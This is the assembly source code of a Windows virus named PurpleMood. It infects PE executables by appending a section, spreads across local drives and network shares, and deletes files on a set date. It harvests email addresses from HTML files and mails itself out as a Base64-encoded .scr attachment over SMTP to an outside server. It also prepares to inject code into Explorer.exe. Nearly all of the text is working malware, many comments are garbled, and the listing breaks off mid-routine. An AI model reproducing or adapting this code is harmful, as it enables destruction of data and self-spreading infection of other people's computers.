Win32.PurpleMood.6736 by PeekXP
***********************************************

.386 
.model flat,stdcall 
option casemap:none 
include useful.inc 
 
.data 
hi    db 'hi',0
ppmm  db 'ppmm,you need no reason to love me!',0
 
.code
main: 
  mov   HostEntry,offset ret_addr 
  jmp   VStart 
ret_addr: 
  Invoke MessageBox,NULL,offset ppmm,offset hi,0 
  ret 
    
CODE SEGMENT

VStart:                          ;virus starts here  
       call  start 
start: 
       pop   ebx
       sub   ebx , offset start            
       
       call  GetKBase
       call  GetAPIz
       
       call   PayLoad
       
       lea    esi,[offset szEXEPath+ebx]
       push   MAX_PATH
       push   esi
       push   NULL
       mov    eax , 12345678h
_GetModuleFileNameA = dword ptr $-4
       call   eax                             
       
       lea    edi,[offset szFilePath+ebx]        
       push   50
       push   edi
       mov    eax , 12345678h
_GetSystemDirectoryA = dword ptr $-4
       call   eax                                             
       add    eax,FNameSize
       mov    SCRPathSize[ebx],eax

       lea    eax,[offset szFileName+ebx]        
       push   eax
       push   edi
       mov    eax , 12345678h
_lstrcat       = dword ptr $-4
       call   eax                                            
       
       push   esi
       push   edi  
       mov    eax , 12345678h
_lstrcmpi      = dword ptr $-4
       call   eax       
       or     eax,eax
       jz     StartInfect
                   
       call   CreatePE              
       call   rtInit
       call   MakeSCRAlive
Ret2Host:
       push   HostEntry[ebx]
       ret                    ;?????HostEntry,???????? 

StartInfect:                
       lea    eax,[offset nGetProcAddress+ebx] ;Mutex name
       push   eax
       push   FALSE
       push   NULL
       mov    eax , 12345678h
_CreateMutex   = dword ptr $-4
       call   eax
             
       lea    eax,[offset MonitorThread + ebx]
       push   0
       push   0
       push   ebx                   ;I pass 0 first 
       push   eax
       push   0
       push   0
       mov    eax , 12345678h
_CreateThread  = dword ptr $-4
       call   eax                                     

       lea    eax,[offset PEThread + ebx]
       push   0
       push   0
       push   ebx                   ;I pass 0 first 
       push   eax
       push   0
       push   0
       call   _CreateThread[ebx]                             
               
       call   MailThread            ;while(TRUE)
      
;**********??image of kernel32.dll???*****************
GetKBase: 
         mov   edi , [esp+4] 
         and   edi , 0FFFF0000h 
         .while TRUE 
             .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE 
                 mov  esi, edi 
                 add  esi, [esi+03Ch] 
                 .if  DWORD ptr [esi] == IMAGE_NT_SIGNATURE 
                      .break 
                 .endif 
             .endif 
             sub  edi, 010000h 
             .if edi < MIN_KERNEL_SEARCH_BASE   ;win9x
                  mov  edi, 0bff70000h   ;0bff7000h=9x'base 
                  .break 
             .endif 
          .endw 
          mov    hKernel32[ebx],edi
          ret 

GetAPIz:
        mov     edx,edi                      ;edx->Kernel32_Base 
        assume  edx :ptr IMAGE_DOS_HEADER 
        add     edx,[edx].e_lfanew 
        assume  edx:ptr IMAGE_NT_HEADERS 
        mov     edx,[edx].OptionalHeader.DataDirectory.VirtualAddress 
        add     edx,hKernel32[ebx] 
        assume  edx:ptr IMAGE_EXPORT_DIRECTORY 
        mov     ebp,[edx].AddressOfNames 
        add     ebp,hKernel32[ebx]  ;now ebp=Addr of RVAofName[] 
        xor     eax,eax             ;eax AddressOfNames Index 
         
       .repeat 
            push  14        ;Lenth of GetProcAddress
            pop   ecx
            mov   edi,[ebp] 
            add   edi,hKernel32[ebx] 
            lea   esi,[offset nGetProcAddress+ebx] 
            repz  cmpsb 
            .if   zero? 
                  .break 
            .endif 
            add   ebp,4        ;???RVA 
            inc   eax 
       .until  eax == [edx].NumberOfNames 
       
       mov     ebp, [edx].AddressOfNameOrdinals 
       add     ebp, hKernel32[ebx] 
       movzx   ecx, word ptr [ebp+eax*2] 
       mov     ebp, [edx].AddressOfFunctions   ;get addr of the api 
       add     ebp, hKernel32[ebx] 
       mov     eax, [ebp+ecx*4] 
       add     eax,hKernel32[ebx]     
       mov     _GetProcAddress[ebx],eax   ;Save GetProcAddress        
        
GetOApiz:

        call @api_table
        db  'LoadLibraryA',0 
        db  'CreateThread',0 
        db  'CreateRemoteThread',0
        db  'WinExec',0
        db  'CreateMutexA',0
        db  'OpenMutexA',0         
        db  'ReleaseMutex',0
        db  'FindFirstFileA',0 
        db  'FindNextFileA',0 
        db  'FindClose',0 
        db  'CreateFileA',0 
        db  'CreateFileMappingA',0 
        db  'MapViewOfFile',0 
        db  'UnmapViewOfFile',0 
        db  'SetFilePointer',0 
        db  'WriteFile',0 
        db  'CloseHandle',0 
        db  'VirtualAlloc',0
        db  'VirtualAllocEx',0 
        db  'WriteProcessMemory',0
        db  'VirtualFree',0 
        db  'VirtualFreeEx',0
        db  'lstrcmpi',0
        db  'lstrcpy',0
        db  'lstrcat',0
        db  'lstrlen',0
        db  'GetFileSize',0
        db  'GetSystemDirectoryA',0
        db  'GetModuleFileNameA',0
        db  'Sleep',0
        db  'GetSystemTime',0
        db  'DeleteFileA',0
        db  'OpenProcess',0
@api_table:
        pop    edi
        call @api_dest  
K_Apiz:
        dd   offset  _LoadLibraryA
        dd   offset  _CreateThread           
        dd   offset  _CreateRemoteThread
        dd   offset  _WinExec 
        dd   offset  _CreateMutex           
        dd   offset  _OpenMutex  
        dd   offset  _ReleaseMutex       
        dd   offset  _FindFirstFile          
        dd   offset  _FindNextFile          
        dd   offset  _FindClose              
        dd   offset  _CreateFile             
        dd   offset  _CreateFileMapping      
        dd   offset  _MapViewOfFile      
        dd   offset  _UnmapViewOfFile
        dd   offset  _SetFilePointer        
        dd   offset  _WriteFile         
        dd   offset  _CloseHandle
        dd   offset  _VirtualAlloc           
        dd   offset  _VirtualAllocEx
        dd   offset  _WriteProcessMemory
        dd   offset  _VirtualFree     
        dd   offset  _VirtualFreeEx
        dd   offset  _lstrcmpi           
        dd   offset  _lstrcpy
        dd   offset  _lstrcat               
        dd   offset  _lstrlen               
        dd   offset  _GetFileSize           
        dd   offset  _GetSystemDirectoryA   
        dd   offset  _GetModuleFileNameA
        dd   offset  _Sleep    
        dd   offset  _GetSystemTime         
        dd   offset  _DeleteFile         
        dd   offset  _OpenProcess          
K_API_NUM   =  ($-K_Apiz)/4
@api_dest:
       pop      esi         
       push     K_API_NUM
       pop      ecx        
       xor      ebp,ebp   
K_begin: 
       push     ecx 
       push     edi 
       push     hKernel32[ebx] 
       call     _GetProcAddress[ebx] 
       or       eax,eax
       jz       GA_Fail
       mov      edx , [esi+ebp]  
       mov      dword ptr [edx+ebx],eax 
       xor      eax,eax 
       repnz    scasb          ;?????????0,?edi??????? 
       add      ebp,4 
       pop      ecx
       loop     K_begin 
               
       @pushsz  'MPR.dll'
       call     _LoadLibraryA[ebx] 
       or       eax,eax
       jz       short GA_Fail         
       xchg     esi,eax                        ;HMODULE of MPR.dll 
       
Mpr_begin: 
           
       @pushsz  'WNetOpenEnumA' 
       push     esi 
       call     _GetProcAddress[ebx]         
       mov      _WNetOpenEnum[ebx],eax
       @pushsz  'WNetEnumResourceA' 
       push     esi 
       call     _GetProcAddress[ebx] 
       mov      _WNetEnumResource[ebx],eax
       @pushsz  'WNetCloseEnum'
       push     esi 
       call     _GetProcAddress[ebx] 
       mov      _WNetCloseEnum[ebx],eax
       
GA_Fail:          
       ret 
         
PayLoad:        
       call   @PL1
SystemTime     SYSTEMTIME  <>
@PL1:   mov    esi,[esp]
       mov    eax , 12345678h
_GetSystemTime = dword ptr $-4
       call   eax          
               
movzx  eax , word ptr [esi+6]           ;SystemTime.wDay
cmp    ax,14h               ;15???
jnz    PL_Exit
KILL:         
       push    FILE_ALL
       @pushsz 'd:\test'
       call    EnumDir 
PL_Exit:
       ret
   
;********************************************* 
;the thread begin to enum all file in disk and
;network , when it finds a pe file Infect it!
;*********************************************
PEThread PROC  MReloc : DWORD      

PT_Work:     
    mov      ebx,MReloc     
    
    push     FILE_EXE
    @pushsz  'd:\test'
    call     EnumDir
                        
    ;push     NULL
    ;call     EnumNetWork
    
    push     1000*60*60           ;sleep an hour:)
    call     _Sleep[ebx]
    jmp      short PT_Work
    
PEThread ENDP
    
;??????
EnumNetWork PROC  pNetResource : DWORD
     
     LOCAL   hEnum       : DWORD
     LOCAL   Count       : DWORD
     LOCAL   BufferSize  : DWORD
     
     pushad
     push    0FFFFFFFFh
     pop     Count
     push    16*1024
     pop     BufferSize
     
     lea     eax , hEnum    
     push    eax
     push    pNetResource
     push    0 
     push    RESOURCETYPE_DISK 
     push    RESOURCE_GLOBALNET 
     mov     eax , 12345678h
_WNetOpenEnum = dword ptr $-4
     call    eax                      
     or      eax,eax 
     jnz     EN_Exit
     
     push    PAGE_READWRITE 
     push    MEM_RESERVE or MEM_COMMIT 
     push    16*1024 
     push    0
     mov     eax , 12345678h
_VirtualAlloc = dword ptr $-4
     call    eax                              
     or      eax,eax 
     jz      short EN_Close
     mov     pNetResource,eax    

     lea     eax,BufferSize
     push    eax
     push    pNetResource 
     lea     eax,Count
     push    eax 
     push    hEnum
     mov     eax , 12345678h
_WNetEnumResource  = dword ptr $-4
     call    eax                
     or      eax,eax 
     jnz     short EN_Free 
          
     mov     ecx,Count
     mov     edi,pNetResource
     assume  edi:ptr NETRESOURCEA 

EN_Loop: 
     push    ecx 
     mov     eax,[edi].dwUsage 
     and     al,2 
     .IF     al == 2 
     
             push    edi        
             call    EnumNetWork          
     .ELSE 
             mov     eax,[edi].lpRemoteName              
             push    FILE_EXE
             push    eax
             call    EnumDir

     .ENDIF 
     add     edi,20h   ; sizeof NETRESOURCE 
     pop     ecx 
loop EN_Loop 

EN_Free: 
     push     MEM_RELEASE 
     push     0 
     push     pNetResource  
     mov      eax , 12345678h
_VirtualFree   = dword ptr $-4
     call     eax  
     
EN_Close:  
     push     hEnum
     mov      eax , 12345678h
_WNetCloseEnum = dword ptr $-4
     call     eax  
     
EN_Exit:
     popad
     ret  4
EnumNetWork ENDP

;************InfectDisk*********************** 
;??????,?C??Z?,??EnumDir????exe 
;********************************************* 
EnumDisk PROC  DirName : DWORD,FileType : DWORD
       
      .REPEAT       
              push  FileType
              push  DirName 
              call  EnumDir 
                           
              mov   eax,DirName
              inc   byte ptr [eax]              
              mov   al,byte ptr[eax]       
      .UNTIL  al > 'z'
      mov  byte ptr [eax] , 'c'
      
      ret  8
      
EnumDisk  ENDP
 
;************EnumDir************
;??DirName,??FileType????
;*******************************
EnumDir PROC   DirName  : DWORD , FileType:DWORD

       LOCAL   hSearch              : DWORD
       LOCAL   DirorFile[MAX_PATH]  : DWORD

       pushad          
       push    DirName
       lea     esi,DirorFile
       push    esi
       mov     eax , 12345678h
_lstrcpy        = dword ptr $-4
       call    eax  
               
       @pushsz '\*.*'
       push    esi                          ;DirorFile
       call    _lstrcat[ebx]
        
       lea    edi,[offset wfd+ebx]
       push   edi
       push   esi
       mov     eax , 12345678h
_FindFirstFile = dword ptr $-4
       call    eax          
       cmp    eax,INVALID_HANDLE_value       
       jz     ED_Exit
       mov    hSearch,eax

       .REPEAT
           .if    byte ptr [wfd+44+ebx]=='.'
                  jmp short EN_NEXT
           .endif

           push    DirName
           push    esi
           call    _lstrcpy[ebx]

           @pushsz '\'
           push    esi
           call    _lstrcat[ebx]
          
           lea     eax,[wfd+44+ebx]
           push    eax
           push    esi                        ;DirorFile
           call    _lstrcat[ebx]

           mov     eax , dword ptr [wfd+ebx]
           and     eax , FILE_ATTRIBUTE_DIRECTORY
           .if     eax ==FILE_ATTRIBUTE_DIRECTORY
                   push   dword ptr FileType 
                   push   esi
                   call   EnumDir
           .else                                    ;???        
           
                   push   dword ptr FileType
                   push   esi
                   call   AnFile
           .endif         
EN_NEXT:    
           push   edi                    
           push   hSearch
           mov    eax , 12345678h
_FindNextFile      = dword ptr $-4
           call   eax  
            
       .UNTIL  eax==0                ;FindNexeFile fail
       
ED_Close:
        push   hSearch
        mov    eax , 12345678h
_FindClose      = dword ptr $-4
        call   eax           
ED_Exit:    
        popad
        ret   8
EnumDir ENDP


;??????,??????????????(exe?htm)
AnFile PROC  FileName:DWORD,FileType:DWORD

       pushad
       
AF_00:  lodsb
       or   al,al
       jnz  AF_00
       .if       FileType == FILE_ALL   ;all              
                 push  FileName
                 mov     eax , 12345678h
_DeleteFile       = dword ptr $-4
                 call    eax                    
       .elseif   FileType == FILE_EXE   ;exe        
                  mov  eax,[esi-5] 
                 .if  eax == 'exe.'                             
                     push   FileName
                     call   InfectFile
                 .endif                        
       .else                            ;FileType = FILE_HTM
AF_01:            sub  esi , 2
                 lodsb
                 cmp  al,'.'
                 jnz  AF_01
                 mov  eax,[esi-1]   
                 .if  eax == 'mth.'                         
                     push    FileName
                     call    Parse_HTM
                 .endif                    
       .endif 
       popad
       ret 8
AnFile ENDP

;??PE??
InfectFile PROC FileName : DWORD

       LOCAL   hFile    : DWORD
       LOCAL   hMapping : DWORD
       LOCAL   pMapping : DWORD
       LOCAL   ByteWrite: DWORD

       pushad
       push  NULL 
       push  FILE_ATTRIBUTE_NORMAL
       push  OPEN_EXISTING 
       push  NULL 
       push  FILE_SHARE_READ+FILE_SHARE_WRITE
       push  GENERIC_READ+GENERIC_WRITE 
       push  FileName
       mov     eax , 12345678h
_CreateFile = dword ptr $-4
       call    eax         
       cmp   eax,INVALID_HANDLE_value
       jz    IF_Exit
       mov   hFile,eax 

       push   0 
       push   0 
       push   0 
       push   PAGE_READWRITE 
       push   NULL 
       push   hFile
       mov     eax , 12345678h
_CreateFileMapping = dword ptr $-4
       call    eax  
       or     eax,eax
       jz     IF_F3        
       mov    hMapping , eax 

       push   0 
       push   0 
       push   0 
       push   FILE_MAP_READ+FILE_MAP_WRITE 
       push   hMapping
       mov    eax , 12345678h
_MapViewOfFile = dword ptr $-4
       call   eax                  
       or     eax,eax
       jz     IF_F2             
       mov    pMapping,eax             
       mov    esi,eax 
      
       assume esi :ptr IMAGE_DOS_HEADER 
       .IF  [esi].e_magic!=IMAGE_DOS_SIGNATURE   
            jmp  IF_F1 
       .ENDIF 
      
       .IF  [esi].e_lfarlc!=040h 
            jmp  IF_F1
       .ENDIF 
        
       add  esi,[esi].e_lfanew                 ;??edx??PE???
       assume esi:ptr IMAGE_NT_HEADERS
       .IF  [esi].Signature!=IMAGE_NT_SIGNATURE    ;?PE????
            jmp  IF_F1 
       .ENDIF 
       .IF word ptr [esi].OptionalHeader.Subsystem!=2
            jmp  IF_F1
       .ENDIF 
       
       .IF word ptr [esi+1ah]==0815h
            jmp  IF_F1
       .ENDIF 
       
       mov  eax,[esi].OptionalHeader.AddressOfEntryPoint 
       add  eax,[esi].OptionalHeader.ImageBase 
       mov  HostEntry[ebx],eax                      ;????? 
;*************************************************************** 
;????????????? 
;28h=sizeof IMAGE_SECTION_HEADER 
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi????? 
;*************************************************************** 
       movzx  eax,[esi].FileHeader.NumberOfSections 
       mov    ecx,28h
       mul    ecx      
       
       lea    edi,[esi]
       sub    edi,pMapping
       add    eax,edi
       add    eax,18h                         
       movzx  edi,[esi].FileHeader.SizeOfOptionalHeader 
       add    eax,edi
       mov    edi,eax
       add    edi,pMapping              ;I forgot this first
       add    eax,28h
       
       .IF  eax>[esi].OptionalHeader.SizeOfHeaders 
            jmp  IF_F1 
       .ENDIF 

;*****************************************
;????, ^0^,???????????? 
;esi??????????,????????????
;***************************************** 

       inc  [esi].FileHeader.NumberOfSections       
       assume  edi:ptr IMAGE_SECTION_HEADER 
       mov     dword ptr[edi],00736A78h   ;'xjs'
       push [esi].OptionalHeader.SizeOfImage 
       pop  [edi].VirtualAddress
       mov  eax,offset VEnd-offset VStart
       mov  [edi].Misc.VirtualSize,eax
       mov  ecx,[esi].OptionalHeader.FileAlignment
       div  ecx
       inc  eax 
       mul  ecx
       mov  [edi].SizeOfRawData,eax 

       lea  eax,[edi-28h+14h]                ;PointerToRawData 
       mov  eax,[eax]
       lea  ecx,[edi-28h+10h]                ;SizeOfRawData 
       mov  ecx,[ecx]
       add  eax,ecx
       mov  [edi].PointerToRawData,eax 
       mov  [edi].Characteristics,0E0000020h  ;??????? 
 
;***************************************************************
;??SizeOfImage,AddressOfEntryPoint,?????????????? 
;***************************************************************

       mov  eax,[edi].Misc.VirtualSize 
       mov  ecx,[esi].OptionalHeader.SectionAlignment 
       div  ecx 
       inc  eax 
       mul  ecx 
       add  eax,[esi].OptionalHeader.SizeOfImage 
       mov  [esi].OptionalHeader.SizeOfImage,eax 
       mov  eax,[edi].VirtualAddress 
       mov  [esi].OptionalHeader.AddressOfEntryPoint,eax 
       mov  word ptr [esi+1ah],0815h   ;?????? 

       push  FILE_BEGIN
       push  0 
       push  [edi].PointerToRawData 
       push  hFile
       mov   eax , 12345678h
_SetFilePointer = dword ptr $-4
       call  eax  
       
;****************************************************************
;??????????,???VStart?????,???????? 
;****************************************************************
       push  0
       lea   eax,ByteWrite
       push  eax
       push  [edi].SizeOfRawData
       lea   eax,[offset VStart+ebx]
       push  eax
       push  hFile
       mov   eax , 12345678h
_WriteFile = dword ptr $-4
       call  eax  

IF_F1:
      push  pMapping
       mov     eax , 12345678h
_UnmapViewOfFile = dword ptr $-4
       call    eax         
IF_F2:
      push  hMapping
      call  _CloseHandle[ebx]       
IF_F3:
      push  hFile
      call  _CloseHandle[ebx]
IF_Exit: 
      popad
      ret  4
InfectFile ENDP       


;*****************????????***************************
;???????*.htm*??????.
;***********************************************************
MailThread:
          call   MailInit
MT_Work:

          push    FILE_HTM
          @pushsz 'c:'
          call    EnumDisk
    
          push   1000*60*60*24           ;sleep a day 
          call   _Sleep[ebx]
          jmp    short  MT_Work
          
;*********************************************************     
;Mutate virus to BASE64 only once
;*********************************************************   
MailInit PROC

       LOCAL  hFile    : DWORD
       LOCAL  hMapping : DWORD
       LOCAL  pMapping : DWORD
   
       pushad
       xor    edi,edi 
       push   edi
       push   FILE_ATTRIBUTE_NORMAL
       push   OPEN_EXISTING
       push   edi
       push   FILE_SHARE_READ
       push   GENERIC_READ
       lea    eax,[offset szFilePath+ebx]
       push   eax
       call   _CreateFile[ebx]
       mov    hFile,eax
       
       push   edi
       push   edi
       push   edi
       push   PAGE_READONLY
       push   edi
       push   eax
       call   _CreateFileMapping[ebx]
       mov    hMapping,eax

       push   edi
       push   edi
       push   edi
       push   FILE_MAP_READ
       push   eax
       call   _MapViewOfFile[ebx]
       mov    pMapping,eax
       
       push   PAGE_READWRITE
       push   MEM_RESERVE or MEM_COMMIT
       push   SIZEOF_VIRUS_FILE*2
       push   edi
       call   _VirtualAlloc[ebx]
       mov    Base64_Encoded_Data[ebx],eax
           
       mov    esi,pMapping
       mov    edi,Base64_Encoded_Data[ebx]       
       call   EncodeBase64 
    
      
       @pushsz  'WSOCK32.DLL'
       call     _LoadLibraryA[ebx]
       xchg      eax,edi   ;hSockDll
                  
       @pushsz  'WSAStartup'
       push     edi
       call     _GetProcAddress[ebx]
       lea      esi,[offset WSA_Data+ebx]
       push     esi
push     0202h       ;!!!warning 2.2
call     eax

       @pushsz  'socket'
       push     edi
       call     _GetProcAddress[ebx]
       mov      [offset _socket+ebx],eax
       
               
       @pushsz  'gethostbyname'
       push     edi
       call     _GetProcAddress[ebx]
       @pushsz  'pact518.hit.edu.cn'
call     eax
mov      esi,[eax+12]
lodsd
push     [eax]
pop      [offset ServIP + ebx]

@pushsz  'connect'
push     edi
       call     _GetProcAddress[ebx]
mov      [offset _connect+ebx],eax

@pushsz  'send'
push     edi
       call     _GetProcAddress[ebx]
mov      [offset _send+ebx],eax

@pushsz  'closesocket'
push     edi
       call     _GetProcAddress[ebx]
mov      [offset _closecsoket+ebx],eax   

MI_Close3:
push   pMapping
call   _UnmapViewOfFile[ebx]   
MI_Close2:
push   hMapping
call   _CloseHandle[ebx]
MI_Close:
push   hFile
call   _CloseHandle[ebx]  
MI_Exit:
       popad
       ret
MailInit ENDP

;**********************************
;esi <- Buffer with data to encode
;edi <- Destination buffer
;**********************************
EncodeBase64 Proc
      
        LOCAL  BASE64_lines : DWORD
        
        xor ecx,ecx
        mov BASE64_lines,ecx
        cld
        
BASE64encode_loop:
        cmp ecx,SIZEOF_VIRUS_FILE
        jae BASE64__exit
        xor edx,edx
        mov dh,byte ptr [esi+ecx]
        inc ecx
        cmp ecx,SIZEOF_VIRUS_FILE
        jae BASE64__00
        mov dl,byte ptr [esi+ecx]

BASE64__00: 
inc ecx
       shl edx,08h
       cmp ecx,SIZEOF_VIRUS_FILE
       jae BASE64__01
       mov dl,byte ptr [esi+ecx]

BASE64__01:
 inc ecx
       mov eax,edx
       and eax,00fc0000h
       shr eax,12h
       mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
       stosb
       mov eax,edx
       and eax,0003f000h
       shr eax,0Ch
       mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
       stosb
       mov eax,edx
       and eax,00000fc0h
       shr eax,06h
       mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
       stosb

       mov eax,edx
       and eax,0000003fh
       mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
       stosb

       cmp ecx,SIZEOF_VIRUS_FILE
       jbe BASE64__02

       mov byte ptr [edi-00000001h],'='

BASE64__02:
 cmp ecx,SIZEOF_VIRUS_FILE+01h
       jbe BASE64__03
       mov byte ptr [edi-00000002h],'='
       inc BASE64_lines
       cmp BASE64_lines,00000013h
       jne BASE64encode_loop
       mov ax,0A0Dh
       stosw
       mov BASE64_lines,00000000h

BASE64__03:
 jmp BASE64encode_loop

BASE64__exit:
 mov ax,0A0Dh
       stosw
       ret
       
EncodeBase64 EndP

;**********************************************
;??????
;1. ??SMTP Server
;2. ??????,??BASE64?????,??????
;warning: ???????
;**********************************************
SendMail PROC

pushad

       push     NULL
       push     SOCK_STREAM
       push     AF_INET
       mov      eax , 12345678h
_socket         = dword ptr $-4
call     eax  
       mov      VSocket[ebx],eax
       
push     sizeof(sockaddr)  ; Size of connect strucure=16
call     @SMTP1     ; Connect structure
dw       AF_INET           ; Family
db       0,25     ; Port number,avoid htons 
ServIP  dd       0     ; in_addr of server
db       8 dup(0)    ; Unused
@SMTP1:
push     [offset VSocket+ebx]
mov      eax , 12345678h 
_connect         = dword ptr $-4           
call     eax
 
lea      eax,[offset SM_I+ebx]
push     eax
mov      eax,12345678h
_lstrlen         = dword ptr $ - 4 
call     eax 
 
push     NULL
push     eax
call     SM_I_End
SM_I: 
HelloServer  db 'HELO cx',0dh,0ah
            db 'MAIL FROM: <'
TempMailTo   db  128 dup (0)     
SM_I_End:
push     [offset VSocket+ebx] 
call     _send[ebx] 

       push     NULL
push     SM_II_End - SM_II
call     SM_II_End
SM_II:
            db  '>',0dh,0ah
RcptTo       db 'RCPT TO: <test@pact518.hit.edu.cn>',0dh,0ah
SM_II_End:
push     [offset VSocket+ebx] 
call     _send[ebx] 

push     NULL
push     SM_Data_Len
call     SM_Data
MailData     db 'DATA',0dh,0ah
            db 'Subject:hi',0dh,0ah
            db 'Content-Type: multipart/mixed;boundary=WC_MAIL_PaRt_BoUnDaRy_05151998',0dh,0ah
            db '--WC_MAIL_PaRt_BoUnDaRy_05151998',0dh,0ah
     db 'Content-Type: application/octet-stream; file=PurpleMood.scr',0dh,0ah
           db 'Content-Transfer-Encoding: base64',0dh,0ah
            db 'Content-Disposition: attachment; filename=PurpleMood.scr',0dh,0ah,0dh,0ah
SM_Data_Len       =  $ - MailData
SM_Data:
       push     [offset VSocket+ebx]
call     _send[ebx] 

       mov      eax,Base64_Encoded_Data[ebx]
       push     eax
       call     _lstrlen[ebx]
push     NULL                     ;Send base64 attachment
push     eax                      ;SIZEOF_VIRUS_BASE64
push     [offset Base64_Encoded_Data+ebx] ; Buffer
push     [offset VSocket+ebx]
call     _send[ebx]

push     NULL
push     SM_DR_Len
call     SM_DR
MailDataRemain   db '--WC_MAIL_PaRt_BoUnDaRy_05151998--',0dh,0ah
                db 0dh,0ah,'.',0dh,0ah,'QUIT',0dh,0ah
SM_DR_Len       =  $ - MailDataRemain
SM_DR:
push     [offset VSocket+ebx]
call     _send[ebx]          
           
push     [offset VSocket+ebx]
mov      eax , 12345678h
_closecsoket        = dword ptr $-4
call     eax  
         
popad 
ret           
       
SendMail ENDP      
     
;??MailFileName(*.htm*),??Mail_Addr.

Parse_HTM PROC FileName  :DWORD
      
       LOCAL   hFile    : DWORD
       LOCAL   hMapping : DWORD
       LOCAL   SafeFSize: DWORD       

pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push FileName
call _CreateFile[ebx]
or      eax,eax
jz PH_Exit
mov     hFile , eax

xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push hFile
call _CreateFileMapping[ebx]
or eax,eax
jz PH_Close
mov     hMapping,eax

xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push hMapping
call _MapViewOfFile[ebx]
or eax,eax
jz PH_Close2
xchg eax,esi           ;esi = pMapping

push 0
push hFile
       mov     eax , 12345678h
_GetFileSize    = dword ptr $-4
       call    eax   
sub     eax,16            ;For security
add     eax,esi         
mov     SafeFSize,eax     ;esi must be below SafeFSize        
      
       .while  esi < SafeFSize
           xor    edx,edx         ;Valid = FALSE
           @pushsz     'mailto:'
           pop    edi               
           push   7               ;strlen of 'mailto:'
           pop    ecx
           repz  cmpsb      
      .if    zero?            ;?? mailto:
            lea   edi,[offset TempMailTo+ebx]   
                   push  edi
                  .while  esi<SafeFSize
                          lodsb
                          .if      al==' '
                                   .continue                                                     
                          .elseif  al=='>' || al=='"' ||al==''''||al=='<'
                                    xor al,al
                                    stosb
                                    .break
                          .elseif  al=='@'    
                                    stosb
                                    inc  edx                                     
                          .else  
                                    stosb                  
                          .endif
                   .endw   
                   pop    edi                
                   .if    edx==1
                          call SendMail
                   .endif     
       .endif
       inc esi
   .endw

PH_Close3:
push esi
call _UnmapViewOfFile[ebx]   
PH_Close2:
push hMapping
call _CloseHandle[ebx]
PH_Close:
push hFile
call _CloseHandle[ebx]  
PH_Exit:
popad
ret     4

Parse_HTM ENDP      

;****************************      
;data used by SendMail
;****************************
WSA_Data     WSADATA   <>  
VSocket       dd        0
_send         dd        0
Base64_Encoded_Data     dd  0
Base64DecodeTable       equ  $
         db   'A','B','C','D','E','F','G','H','I','J'
         db   'K','L','M','N','O','P','Q','R','S','T'
  db   'U','V','W','X','Y','Z','a','b','c','d'
  db   'e','f','g','h','i','j','k','l','m','n'
  db   'o','p','q','r','s','t','u','v','w','x'
  db   'y','z','0','1','2','3','4','5','6','7'
  db   '8','9','+','/'
SizeOfBase64DecodeTable      equ $-Base64DecodeTable
 
;********CreatePE**********************
CreatePE PROC
    
    LOCAL ByteWrite:DWORD
     
    pushad
    lea   eax , [offset szFilePath+ebx]
    push  NULL
    push  FILE_ATTRIBUTE_NORMAL
    push  CREATE_NEW
    push  NULL
    push  FILE_SHARE_READ+FILE_SHARE_WRITE
    push  GENERIC_READ+GENERIC_WRITE 
    push  eax
    call  _CreateFile[ebx]              
    or    eax,eax
    jz    CT_Exit
    xchg  eax,esi
    
    lea   edi,ByteWrite
    push  0 
    push  edi
    push  200h           ;  ???<200h & FileAliagment=200h          
    lea   eax,[offset MDosStub+ebx]
    push  eax 
    push  esi               ;esi=hFile
    call  _WriteFile[ebx]   ;Write  DosStub,NTHeader,SectionHeader
    
    push  0 
    push  edi
    push  VRAW_SIZE
    lea   eax,[offset VStart+ebx]
    push  eax
    push  esi
    call  _WriteFile[ebx]    ;Write code and import tatle
    
    push  esi
    call  _CloseHandle[ebx]
CT_Exit: 
    popad
    ret 
    
CreatePE ENDP

;*************MonitorThread********************************
;Enum??????,??rtThreadStart->rtThreadEnd???,??PurpleMood.scr
;????????Run?.
;**********************************************************
MonitorThread  PROC  MReloc : DWORD      
       
       mov      ebx , MReloc
@pushsz  'PSAPI'
call  _LoadLibraryA[ebx]
       xchg     eax,esi
         
@pushsz  'EnumProcesses'
push  esi
call  _GetProcAddress[ebx]
mov  _EnumProcesses[ebx],eax
   
@pushsz  'EnumProcessModules'
push  esi
call     _GetProcAddress[ebx]
mov  _EnumProcessModules[ebx],eax
    
@pushsz  'GetModuleBaseNameA'
push  esi
call  _GetProcAddress[ebx]
mov  _GetModuleBaseNameA[ebx],eax

lea  esi,[offset procz + ebx]
lea  edi,[offset tmp   + ebx]
push  edi
push  128
push  esi
mov  eax,12345678h
_EnumProcesses   = dword ptr $-4
call  eax       ;enumerate all running processes
dec  eax
jne  MT_Exit
add  esi,4           ;esi->ProcessIDs[128]

p_search:
lodsd     ;get PID
test eax,eax
je MT_Exit
call AnalyseProcess       ;and try to infect it
jmp p_search
MT_Exit:
       ret     4 
       
MonitorThread  ENDP 


AnalyseProcess Proc        
       pushad
push eax        ;process id
push 0         
push PROCESS_VM_OPERATION or PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_READ or PROCESS_QUERY_INformATION
mov eax,12345678h
_OpenProcess    = dword ptr $-4
call eax    ;PID -> handle
or eax,eax
jz AP_Exit
mov hProcess[ebx],eax
 
lea esi,[offset modz + ebx]
lea ecx,[offset tmp  + ebx]
push ecx
push 4
push esi
push hProcess[ebx]
mov eax,12345678h
_EnumProcessModules = dword ptr $-4
call eax    ;get first (main) module 
dec eax
jne AP_Exit

lodsd
lea edi,[offset mod_name + ebx]
push MAX_PATH
push edi
push eax
push hProcess[ebx]
mov eax,12345678h
_GetModuleBaseNameA = dword ptr $-4
call eax    ;get its name 
test eax,eax
je AP_Exit
       
       @pushsz 'Explorer.exe'
       push    edi
       call    _lstrcmpi[ebx]
       jnz     AP_Exit
            
lea esi,[offset rtThreadStart + ebx]
mov edi,rtThreadEnd - rtThreadStart 
       push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push 12345678h
hProcess  =     dword ptr $-4
mov eax,12345678h
_VirtualAllocEx = dword ptr $-4
call eax    ;aloc there a memory
test eax,eax
